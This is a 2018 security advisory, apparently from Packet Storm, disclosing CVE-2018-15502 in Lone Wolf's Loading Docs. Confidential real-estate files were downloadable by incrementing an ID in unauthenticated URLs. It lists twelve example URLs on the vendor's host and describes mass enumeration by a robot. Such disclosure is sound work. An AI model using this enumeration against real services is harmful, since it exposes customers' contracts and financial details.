Twenty Year Anniversary

Lone Wolf loadingDOCS Insecure Permissions

Lone Wolf loadingDOCS Insecure Permissions
Posted Sep 15, 2018
Authored by Ian Lord

Lone Wolf loadingDOCS allows remote attackers the ability to download confidential files via simply incrementing a value.

tags | exploit, remote
advisories | CVE-2018-15502
MD5 | 8cda6410750f939b9cd093860696d293

Lone Wolf loadingDOCS Insecure Permissions

Change Mirror Download
#############################################################
#
# EZMAX SECURITY ADVISORY
# https://www.ezmax.ca/
#
#############################################################
#
# Product: Loading Docs
# Vendor: Lone Wolf Technologies (http://www.lwolf.com)
# CVE ID: CVE-2018-15502
# NVD Link: https://nvd.nist.gov/vuln/detail/CVE-2018-15502
# Subject: Insecure permissions allow remote attackers to download any confidential files via https requests for predictable URLs.
# Risk: High
# Effect: Remotely exploitable
# Author: Ian Lord (ian.lord@ezmax.ca)
# Date: 2018-08-13
#
#############################################################


Introduction:
-------------
Loading Docs is an electronic document management used in real estate brokerages to store confidential customer's files related to real estate transactions.


Affected:
---------
Loading docs: Tested 2018-08-13

Technical Description:
----------------------

All the files in loading docs are publicly accessible without any protection whatsoever.

Here are example of the files that can be accessed without any security validation:
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042919
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042917
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042916
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042915
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042912
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042910
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042939
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042938
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042937
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042934
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042933
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042931

Just randomly changing the number at the end gives access to multiple files from apparently multiple customers.

So anyone using a robot could download thousands of files containing sensitive information. (Brokerage contracts, trust account details, Fintrac details, etc).

We don't even need to be logged in the software as these URLS are public facing without any session or user validation.

Timeline:
---------
2018-08-03: Discovery by Ian Lord, e-Z-max Solutions (https://www.ezmax.ca/)
2018-08-13: Request for CVE number
2018-08-17: Assigned CVE-2018-15502
2018-08-17: Initial vendor notification
2018-08-29: Second vendor notification
2018-09-05: Initial vendor response
2018-09-06: Vendor confirms that the vulnerability has been addressed
2018-09-10: Public disclosure date



Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    10 Files
  • 2
    Nov 2nd
    15 Files
  • 3
    Nov 3rd
    2 Files
  • 4
    Nov 4th
    2 Files
  • 5
    Nov 5th
    32 Files
  • 6
    Nov 6th
    27 Files
  • 7
    Nov 7th
    8 Files
  • 8
    Nov 8th
    9 Files
  • 9
    Nov 9th
    17 Files
  • 10
    Nov 10th
    2 Files
  • 11
    Nov 11th
    2 Files
  • 12
    Nov 12th
    33 Files
  • 13
    Nov 13th
    29 Files
  • 14
    Nov 14th
    23 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close